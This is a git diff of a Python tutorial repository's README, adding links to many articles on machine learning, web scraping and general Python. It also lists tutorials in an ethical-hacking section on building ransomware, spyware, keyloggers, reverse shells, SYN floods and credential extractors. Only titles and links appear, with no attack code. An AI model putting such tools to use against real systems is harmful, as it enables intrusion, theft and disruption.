diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..e52f2952 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ + +machine-learning/stock-prediction/.ipynb_checkpoints/stock_prediction-checkpoint.ipynb diff --git a/README.md b/README.md index 0ac04a27..ddf5f25d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,13 @@ -![alt text](images/python_logo.ico) +

+ + CodingFleet Code Generator + + CodingFleet Code Converter + +

+ + + # Python Code Tutorials This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website. ## List of Tutorials @@ -7,13 +16,18 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Getting Started With Scapy: Python Network Manipulation Tool](https://www.thepythoncode.com/article/getting-started-with-scapy) - [Building an ARP Spoofer](https://www.thepythoncode.com/article/building-arp-spoofer-using-scapy). ([code](scapy/arp-spoofer)) - [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy). ([code](scapy/arp-spoof-detector)) - - DHCP Listener script. ([code](scapy/dhcp_listener)) + - [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python). ([code](scapy/dhcp_listener)) - [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy). ([code](scapy/fake-access-point)) - [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy). ([code](scapy/network-kicker)) - [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner)) - [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof)) - [How to Sniff HTTP Packets in the Network using Scapy in Python](https://www.thepythoncode.com/article/sniff-http-packets-scapy-python). ([code](scapy/http-sniffer)) - [How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner)) + - [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood)) + - [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/)) + - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer)) + - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis)) + - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets)) - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger)) - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner)) - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell)) @@ -26,15 +40,74 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Brute Force FTP Servers in Python](https://www.thepythoncode.com/article/brute-force-attack-ftp-servers-using-ftplib-in-python). ([code](ethical-hacking/ftp-cracker)) - [How to Extract Image Metadata in Python](https://www.thepythoncode.com/article/extracting-image-metadata-in-python). ([code](ethical-hacking/image-metadata-extractor)) - [How to Crack Zip File Passwords in Python](https://www.thepythoncode.com/article/crack-zip-file-password-in-python). ([code](ethical-hacking/zipfile-cracker)) + - [How to Crack PDF Files in Python](https://www.thepythoncode.com/article/crack-pdf-file-password-in-python). ([code](ethical-hacking/pdf-cracker)) + - [How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python). ([code](ethical-hacking/sql-injection-detector)) + - [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor)) + - [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python). ([code](ethical-hacking/shodan-api)) + - [How to Make an HTTP Proxy in Python](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy). ([code](ethical-hacking/http-mitm-proxy)) + - [How to Extract Chrome Cookies in Python](https://www.thepythoncode.com/article/extract-chrome-cookies-python). ([code](ethical-hacking/chrome-cookie-extractor)) + - [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python). ([code](ethical-hacking/get-wifi-passwords)) + - [How to Make a MAC Address Changer in Python](https://www.thepythoncode.com/article/make-a-mac-address-changer-in-python). ([code](ethical-hacking/mac-address-changer)) + - [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python). ([code](ethical-hacking/password-generator)) + - [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python). ([code](ethical-hacking/ransomware)) + - [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python). ([code](ethical-hacking/dns-enumeration)) + - [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses)) + - [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker)) + - [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker)) + - [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser)) + - [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python). ([code](ethical-hacking/password-manager)) + - [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python). ([code](ethical-hacking/listing-wifi-networks)) + - [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python). ([code](ethical-hacking/verify-file-integrity)) + - [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python). ([code](ethical-hacking/zip-file-locker)) + - [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python). [(code)](ethical-hacking/pdf-locker) + - [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python). ([code](ethical-hacking/bruteforce-wordlist-generator)) + - [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python). ([code](ethical-hacking/implement-affine-cipher)) + - [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python). ([code](ethical-hacking/crack-affine-cipher)) + - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher)) + - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator)) + - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner)) + - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb)) + - [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python). ([code](ethical-hacking/implement-2fa)) + - [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python). ([code](ethical-hacking/username-finder)) + - [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows)) + - [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover)) + - [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor)) + - [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware)) + - [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection)) + - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware)) + - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware)) + - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength)) + - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup)) + - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner)) + - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) - [How to Build a Spam Classifier using Keras in Python](https://www.thepythoncode.com/article/build-spam-classifier-keras-python). ([code](machine-learning/nlp/spam-classifier)) - - [How to Build a Text Generator using Keras in Python](https://www.thepythoncode.com/article/text-generation-keras-python). ([code](machine-learning/nlp/text-generator)) + - [How to Build a Text Generator using TensorFlow and Keras in Python](https://www.thepythoncode.com/article/text-generation-keras-python). ([code](machine-learning/nlp/text-generator)) - [How to Perform Text Classification in Python using Tensorflow 2 and Keras](https://www.thepythoncode.com/article/text-classification-using-tensorflow-2-and-keras-in-python). ([code](machine-learning/nlp/text-classification)) + - [Sentiment Analysis using Vader in Python](https://www.thepythoncode.com/article/vaderSentiment-tool-to-extract-sentimental-values-in-texts-using-python). ([code](machine-learning/nlp/sentiment-analysis-vader)) + - [How to Perform Text Summarization using Transformers in Python](https://www.thepythoncode.com/article/text-summarization-using-huggingface-transformers-python). ([code](machine-learning/nlp/text-summarization)) + - [How to Fine Tune BERT for Text Classification using Transformers in Python](https://www.thepythoncode.com/article/finetuning-bert-using-huggingface-transformers-python). ([code](machine-learning/nlp/bert-text-classification)) + - [Conversational AI Chatbot with Transformers in Python](https://www.thepythoncode.com/article/conversational-ai-chatbot-with-huggingface-transformers-in-python). ([code](machine-learning/nlp/chatbot-transformers)) + - [How to Train BERT from Scratch using Transformers in Python](https://www.thepythoncode.com/article/pretraining-bert-huggingface-transformers-in-python). ([code](machine-learning/nlp/pretraining-bert)) + - [How to Perform Machine Translation using Transformers in Python](https://www.thepythoncode.com/article/machine-translation-using-huggingface-transformers-in-python). ([code](machine-learning/nlp/machine-translation)) + - [Speech Recognition using Transformers in Python](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python). ([code](machine-learning/nlp/speech-recognition-transformers)) + - [Text Generation with Transformers in Python](https://www.thepythoncode.com/article/text-generation-with-transformers-in-python). ([code](machine-learning/nlp/text-generation-transformers)) + - [How to Paraphrase Text using Transformers in Python](https://www.thepythoncode.com/article/paraphrase-text-using-transformers-in-python). ([code](machine-learning/nlp/text-paraphrasing)) + - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification)) + - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition)) + - [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python). ([code](machine-learning/nlp/tokenization-stemming-lemmatization)) + - [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python). ([code](machine-learning/nlp/semantic-textual-similarity)) + - [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python). ([code](machine-learning/nlp/bleu-score)) + - [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score)) + - [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score)) + - [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - - [How to Make an Image Classifier in Python using Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) + - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) - [How to Use Transfer Learning for Image Classification using Keras in Python](https://www.thepythoncode.com/article/use-transfer-learning-for-image-flower-classification-keras-python). ([code](machine-learning/image-classifier-using-transfer-learning)) - [How to Perform Edge Detection in Python using OpenCV](https://www.thepythoncode.com/article/canny-edge-detection-opencv-python). ([code](machine-learning/edge-detection)) - [How to Detect Shapes in Images in Python](https://www.thepythoncode.com/article/detect-shapes-hough-transform-opencv-python). ([code](machine-learning/shape-detection)) @@ -42,11 +115,53 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Recognize Optical Characters in Images in Python](https://www.thepythoncode.com/article/optical-character-recognition-pytesseract-python). ([code](machine-learning/optical-character-recognition)) - [How to Use K-Means Clustering for Image Segmentation using OpenCV in Python](https://www.thepythoncode.com/article/kmeans-for-image-segmentation-opencv-python). ([code](machine-learning/kmeans-image-segmentation)) - [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python). ([code](machine-learning/object-detection)) + - [How to Blur Faces in Images using OpenCV in Python](https://www.thepythoncode.com/article/blur-faces-in-images-using-opencv-in-python). ([code](machine-learning/blur-faces)) + - [Skin Cancer Detection using TensorFlow in Python](https://www.thepythoncode.com/article/skin-cancer-detection-using-tensorflow-in-python). ([code](machine-learning/skin-cancer-detection)) + - [How to Perform Malaria Cells Classification using TensorFlow 2 and Keras in Python](https://www.thepythoncode.com/article/malaria-cells-classification). ([code](machine-learning/malaria-classification)) + - [Image Transformations using OpenCV in Python](https://www.thepythoncode.com/article/image-transformations-using-opencv-in-python). ([code](machine-learning/image-transformation)) + - [How to Apply HOG Feature Extraction in Python](https://www.thepythoncode.com/article/hog-feature-extraction-in-python). ([code](machine-learning/hog-feature-extraction)) + - [SIFT Feature Extraction using OpenCV in Python](https://www.thepythoncode.com/article/sift-feature-extraction-using-opencv-in-python). ([code](machine-learning/sift)) + - [Age Prediction using OpenCV in Python](https://www.thepythoncode.com/article/predict-age-using-opencv). ([code](machine-learning/face-age-prediction)) + - [Gender Detection using OpenCV in Python](https://www.thepythoncode.com/article/gender-detection-using-opencv-in-python). ([code](machine-learning/face-gender-detection)) + - [Age and Gender Detection using OpenCV in Python](https://www.thepythoncode.com/article/gender-and-age-detection-using-opencv-python). ([code](machine-learning/age-and-gender-detection)) + - [Satellite Image Classification using TensorFlow in Python](https://www.thepythoncode.com/article/satellite-image-classification-using-tensorflow-python). ([code](machine-learning/satellite-image-classification)) + - [How to Perform Image Segmentation using Transformers in Python](https://www.thepythoncode.com/article/image-segmentation-using-huggingface-transformers-python). ([code](machine-learning/image-segmentation-transformers)) + - [How to Fine Tune ViT for Image Classification using Huggingface Transformers in Python](https://www.thepythoncode.com/article/finetune-vit-for-image-classification-using-transformers-in-python). ([code](machine-learning/finetuning-vit-image-classification)) + - [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python). ([code](machine-learning/stable-diffusion-models)) + - [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python). ([code](machine-learning/depth2image-stable-diffusion)) + - [Real-time Object Tracking with OpenCV and YOLOv8 in Python](https://www.thepythoncode.com/article/real-time-object-tracking-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Object-Tracking-with-DeepSORT-and-YOLOv8)) + - [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface). ([code](machine-learning/control-image-generation-with-controlnet)) + - [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface). ([code](machine-learning/edit-images-instruct-pix2pix)) + - [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface). ([code](machine-learning/stable-diffusion-upscaler)) + - [Real-Time Vehicle Detection, Tracking and Counting in Python](https://thepythoncode.com/article/real-time-vehicle-tracking-and-counting-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Vehicle-Detection-Tracking-and-Counting-in-Python/)) + - [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python). ([code](machine-learning/cartoonify-images)) + - [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python). ([code](machine-learning/facial-recognition-system)) + - [Non-Maximum Suppression with OpenCV and Python](https://thepythoncode.com/article/non-maximum-suppression-using-opencv-in-python). ([code](https://github.com/Rouizi/Non-Maximum-Suppression-with-OpenCV-and-Python)) - [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition)) - [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python). ([code](machine-learning/speech-recognition)) - [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists). - [How to Predict Stock Prices in Python using TensorFlow 2 and Keras](https://www.thepythoncode.com/article/stock-price-prediction-in-python-using-tensorflow-2-and-keras). ([code](machine-learning/stock-prediction)) - + - [How to Convert Text to Speech in Python](https://www.thepythoncode.com/article/convert-text-to-speech-in-python). ([code](machine-learning/text-to-speech)) + - [How to Perform Voice Gender Recognition using TensorFlow in Python](https://www.thepythoncode.com/article/gender-recognition-by-voice-using-tensorflow-in-python). ([code](https://github.com/x4nth055/gender-recognition-by-voice)) + - [Introduction to Finance and Technical Indicators with Python](https://www.thepythoncode.com/article/introduction-to-finance-and-technical-indicators-with-python). ([code](machine-learning/technical-indicators)) + - [Algorithmic Trading with FXCM Broker in Python](https://www.thepythoncode.com/article/trading-with-fxcm-broker-using-fxcmpy-library-in-python). ([code](machine-learning/trading-with-fxcm)) + - [How to Create Plots With Plotly In Python](https://www.thepythoncode.com/article/creating-dynamic-plots-with-plotly-visualization-tool-in-python). ([code](machine-learning/plotly-visualization)) + - [Feature Selection using Scikit-Learn in Python](https://www.thepythoncode.com/article/feature-selection-and-feature-engineering-using-python). ([code](machine-learning/feature-selection)) + - [Imbalance Learning With Imblearn and Smote Variants Libraries in Python](https://www.thepythoncode.com/article/handling-imbalance-data-imblearn-smote-variants-python). ([code](machine-learning/imbalance-learning)) + - [Credit Card Fraud Detection in Python](https://www.thepythoncode.com/article/credit-card-fraud-detection-using-sklearn-in-python#near-miss). ([code](machine-learning/credit-card-fraud-detection)) + - [Customer Churn Prediction in Python](https://www.thepythoncode.com/article/customer-churn-detection-using-sklearn-in-python). ([code](machine-learning/customer-churn-detection)) + - [Recommender Systems using Association Rules Mining in Python](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python). ([code](machine-learning/recommender-system-using-association-rules)) + - [Handling Imbalanced Datasets: A Case Study with Customer Churn](https://www.thepythoncode.com/article/handling-imbalanced-datasets-sklearn-in-python). ([code](machine-learning/handling-inbalance-churn-data)) + - [Logistic Regression using PyTorch in Python](https://www.thepythoncode.com/article/logistic-regression-using-pytorch). ([code](machine-learning/logistic-regression-in-pytorch)) + - [Dropout Regularization using PyTorch in Python](https://www.thepythoncode.com/article/dropout-regularization-in-pytorch). ([code](machine-learning/dropout-in-pytorch)) + - [K-Fold Cross Validation using Scikit-Learn in Python](https://www.thepythoncode.com/article/kfold-cross-validation-using-sklearn-in-python). ([code](machine-learning/k-fold-cross-validation-sklearn)) + - [Dimensionality Reduction: Feature Extraction using Scikit-learn in Python](https://www.thepythoncode.com/article/dimensionality-reduction-using-feature-extraction-sklearn). ([code](machine-learning/dimensionality-reduction-feature-extraction)) + - [Dimensionality Reduction: Using Feature Selection in Python](https://www.thepythoncode.com/article/dimensionality-reduction-feature-selection). ([code](machine-learning/dimensionality-reduction-feature-selection)) + - [A Guide to Explainable AI Using Python](https://www.thepythoncode.com/article/explainable-ai-model-python). ([code](machine-learning/explainable-ai)) + - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders)) + - [Exploring the Different Types of Clustering Algorithms in Machine Learning with Python](https://www.thepythoncode.com/article/clustering-algorithms-in-machine-learning-with-python). ([code](machine-learning/clustering-algorithms)) + - [Image Captioning using PyTorch and Transformers](https://www.thepythoncode.com/article/image-captioning-with-pytorch-and-transformers-in-python). ([code](machine-learning/image-captioning)) + - [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python). ([code](machine-learning/asr)) - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics) - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot)) @@ -54,14 +169,26 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Control your Mouse in Python](https://www.thepythoncode.com/article/control-mouse-python). ([code](general/mouse-controller)) - [How to Control your Keyboard in Python](https://www.thepythoncode.com/article/control-keyboard-python). ([code](general/keyboard-controller)) - [How to Make a Process Monitor in Python](https://www.thepythoncode.com/article/make-process-monitor-python). ([code](general/process-monitor)) - - [How to Make a Screen Recorder in Python](https://www.thepythoncode.com/article/make-screen-recorder-python). ([code](general/screen-recorder)) - - [How to Generate and Read QR Code in Python](https://www.thepythoncode.com/article/generate-read-qr-code-python). ([code](general/generating-reading-qrcode)) - [How to Download Files in Python](https://www.thepythoncode.com/article/download-files-python). ([code](general/file-downloader)) - - [How to Extract PDF Tables in Python](https://www.thepythoncode.com/article/extract-pdf-tables-in-python-camelot). ([code](general/pdf-table-extractor)) - [How to Execute BASH Commands in a Remote Machine in Python](https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python). ([code](general/execute-ssh-commands)) - [How to Convert Python Files into Executables](https://www.thepythoncode.com/article/building-python-files-into-stand-alone-executables-using-pyinstaller) - [How to Get the Size of Directories in Python](https://www.thepythoncode.com/article/get-directory-size-in-bytes-using-python). ([code](general/calculate-directory-size)) - - [How to Play and Record Audio in Python](https://www.thepythoncode.com/article/play-and-record-audio-sound-in-python). ([code](general/recording-and-playing-audio)) + - [How to Get Geographic Locations in Python](https://www.thepythoncode.com/article/get-geolocation-in-python). ([code](general/geolocation)) + - [How to Assembly, Disassembly and Emulate Machine Code using Python](https://www.thepythoncode.com/article/arm-x86-64-assembly-disassembly-and-emulation-in-python). ([code](general/assembly-code)) + - [How to Change Text Color in Python](https://www.thepythoncode.com/article/change-text-color-in-python). ([code](general/printing-in-colors)) + - [How to Create a Watchdog in Python](https://www.thepythoncode.com/article/create-a-watchdog-in-python). ([code](general/directory-watcher)) + - [How to Convert Pandas Dataframes to HTML Tables in Python](https://www.thepythoncode.com/article/convert-pandas-dataframe-to-html-table-python). ([code](general/dataframe-to-html)) + - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game)) + - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage)) + - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer)) + - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve)) + - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/)) + - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map)) + - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) + - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) + - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) + - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager)) + - ### [Web Scraping](https://www.thepythoncode.com/topic/web-scraping) @@ -75,6 +202,15 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use Proxies to Anonymize your Browsing and Scraping using Python](https://www.thepythoncode.com/article/using-proxies-using-requests-in-python). ([code](web-scraping/using-proxies)) - [How to Extract Script and CSS Files from Web Pages in Python](https://www.thepythoncode.com/article/extract-web-page-script-and-css-files-in-python). ([code](web-scraping/webpage-js-css-extractor)) - [How to Extract and Submit Web Forms from a URL using Python](https://www.thepythoncode.com/article/extracting-and-submitting-web-page-forms-in-python). ([code](web-scraping/extract-and-fill-forms)) + - [How to Get Domain Name Information in Python](https://www.thepythoncode.com/article/extracting-domain-name-information-in-python). ([code](web-scraping/get-domain-info)) + - [How to Extract YouTube Comments in Python](https://www.thepythoncode.com/article/extract-youtube-comments-in-python). ([code](web-scraping/youtube-comments-extractor)) + - [Automated Browser Testing with Edge and Selenium in Python](https://www.thepythoncode.com/article/automated-browser-testing-with-edge-and-selenium-in-python). ([code](web-scraping/selenium-edge-browser)) + - [How to Automate Login using Selenium in Python](https://www.thepythoncode.com/article/automate-login-to-websites-using-selenium-in-python). ([code](web-scraping/automate-login)) + - [How to Make a Currency Converter in Python](https://www.thepythoncode.com/article/make-a-currency-converter-in-python). ([code](web-scraping/currency-converter)) + - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) + - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) + - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) + - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -88,11 +224,143 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to List all Files and Directories in FTP Server using Python](https://www.thepythoncode.com/article/list-files-and-directories-in-ftp-server-in-python). ([code](python-standard-library/listing-files-in-ftp-server)) - [How to Read Emails in Python](https://www.thepythoncode.com/article/reading-emails-in-python). ([code](python-standard-library/reading-email-messages)) - [How to Download and Upload Files in FTP Server using Python](https://www.thepythoncode.com/article/download-and-upload-files-in-ftp-server-using-python). ([code](python-standard-library/download-and-upload-files-in-ftp)) + - [How to Work with JSON Files in Python](https://www.thepythoncode.com/article/working-with-json-files-in-python). ([code](python-standard-library/working-with-json)) + - [How to Use Regular Expressions in Python](https://www.thepythoncode.com/article/work-with-regular-expressions-in-python). ([code](python-standard-library/regular-expressions)) + - [Logging in Python](https://www.thepythoncode.com/article/logging-in-python). ([code](python-standard-library/logging)) + - [How to Make a Chat Application in Python](https://www.thepythoncode.com/article/make-a-chat-room-application-in-python). ([code](python-standard-library/chat-application)) + - [How to Delete Emails in Python](https://www.thepythoncode.com/article/deleting-emails-in-python). ([code](python-standard-library/deleting-emails)) + - [Daemon Threads in Python](https://www.thepythoncode.com/article/daemon-threads-in-python). ([code](python-standard-library/daemon-thread)) + - [How to Organize Files by Extension in Python](https://www.thepythoncode.com/article/organize-files-by-extension-with-python). ([code](python-standard-library/extension-separator)) + - [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python). ([code](python-standard-library/split-string)) + - [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python). ([code](python-standard-library/print-variable-name-and-value)) + - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) + - [How to Use the Argparse Module in 